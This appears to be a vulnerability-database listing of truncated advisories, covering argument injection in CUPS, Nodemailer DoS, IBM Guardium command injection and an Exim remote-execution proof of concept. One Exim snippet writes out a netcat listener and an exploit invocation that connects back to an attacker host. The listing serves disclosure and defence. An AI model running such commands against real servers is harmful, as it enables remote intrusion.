CVE-2026-105326

An argument injection flaw was found in CUPS. When email notification is configured, the CUPS scheduler accepts printer subscription requests that supply a mailto notify-recipient-uri. The mailto notifier passes the recipient address to the configured sendmail program without ensuring it cannot b...

EUVD-2026-92637

An argument injection flaw was found in CUPS. When email notification is configured, the CUPS scheduler accepts printer subscription requests that supply a mailto notify-recipient-uri. The mailto notifier passes the recipient address to the configured sendmail program without ensuring it cannot b...

CVE-2026-105326 Cups: cups: argument injection in mailto notifier via notify-recipient-uri

An argument injection flaw was found in CUPS. When email notification is configured, the CUPS scheduler accepts printer subscription requests that supply a mailto notify-recipient-uri. The mailto notifier passes the recipient address to the configured sendmail program without ensuring it cannot b...

CVE-2026-105326

The CUPS service is vulnerable to an argument injection flaw within the mailto notifier. When email notifications are enabled, the CUPS scheduler processes printer subscription requests containing a notify-recipient-uri . Because the mailto notifier fails to sanitize the recipient address before ...

PoC--CVE-2019-10149_Exim

PoC-CVE-2019-10149Exim MNEMO-CERT는 CVE-2019-10149 취약점을 악용하여 상승된 권한으로 명령을 실행할 수 있는 PoC를 개발했습니다. 이 취약점은 Exim4.87 - 4.91의 여러 버전에 영향을 미칩니다. 이 취약점을 로컬에서 악용하려면 실행할 명령을 정의해야 합니다. 반면, 원격 경우에는 Exim이 ACL "verify= recipient"를 사용하지 않는 시나리오만 고려되었으며, 명령 외에도 서비스의 IP 주소와 포트를 지정해야 합니다. MNEMO-CERT는 교육 목적과...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim 4.874.91포함 버전에서 결함이 발견되었습니다. /src/deliver.c의 delivermessage 함수에서 수신자 주소를 잘못 검증하면 원격 명령 실행으로 이어질 수 있습니다. 예제 nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

EUVD-2026-78403

fast-uri vulnerable to mailto header injection via percent-encoded field-name desynchronization...

Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS

Submission metadata | Field | Value | |---|---| | Ecosystem | npm | | Package | nodemailer | | Repository | https://github.com/nodemailer/nodemailer | | Tested commit | 40d52215aac65b811d7e131bc916f68605efd9d2 | | Current tested version | 10.0.1 | | Confirmed vulnerable versions | 2.7.2, 3.0.0,...

EUVD-2026-89196

IBM Guardium Data Protection 12.2 is vulnerable to command injection in the CLI certificate SMIME recipient deletion functionality, allowing an authenticated privileged CLI user to execute arbitrary commands with root privileges...

CVE-2026-84422

IBM Guardium Data Protection 12.2 is vulnerable to an OS Command Injection (CWE-78) within the CLI certificate SMIME recipient deletion functionality. This flaw allows an authenticated privileged CLI user to execute arbitrary commands with root privileges . IBM has released a fix for version 12.2...

CVE-2026-84422: Improper Neutralization of Special Elements used in an OS Command

IBM Guardium Data Protection 12.2 is vulnerable to command injection in the CLI certificate SMIME recipient deletion functionality, allowing an authenticated privileged CLI user to execute arbitrary commands with root privileges...

DEBIAN-CVE-2026-100702

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString conversion, exhausting the call stack...

CVE-2026-100702

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString conversion, exhausting the call stack...

Improper Validation of Specified Quantity in Input

Overview nodemailer is an Easy as cake e-mail sending from your Node.js applications Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via the addressparser module's handling of quoted local-part addresses. When an address of the form...

UBUNTU-CVE-2026-100702

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString conversion, exhausting the call stack...

CVE-2026-100702 Nodemailer before 10.0.2 Stack Exhaustion via Nested Recipient Arrays

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString conversion, exhausting the call stack...

EUVD-2026-87675

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString conversion, exhausting the call stack...

CVE-2026-100702 Nodemailer before 10.0.2 Stack Exhaustion via Nested Recipient Arrays

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString conversion, exhausting the call stack...

CVE-2026-100702

Versions of Nodemailer before 10.0.2 are vulnerable to a Denial of Service (DoS) due to a flaw in how the library flattens deeply nested arrays in email recipient fields like to , cc , and bcc . A remote attacker can provide a deeply nested JSON recipient array, triggering recursive Array.toStrin...

Linux Distros Unpatched Vulnerability : CVE-2026-100702

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustio...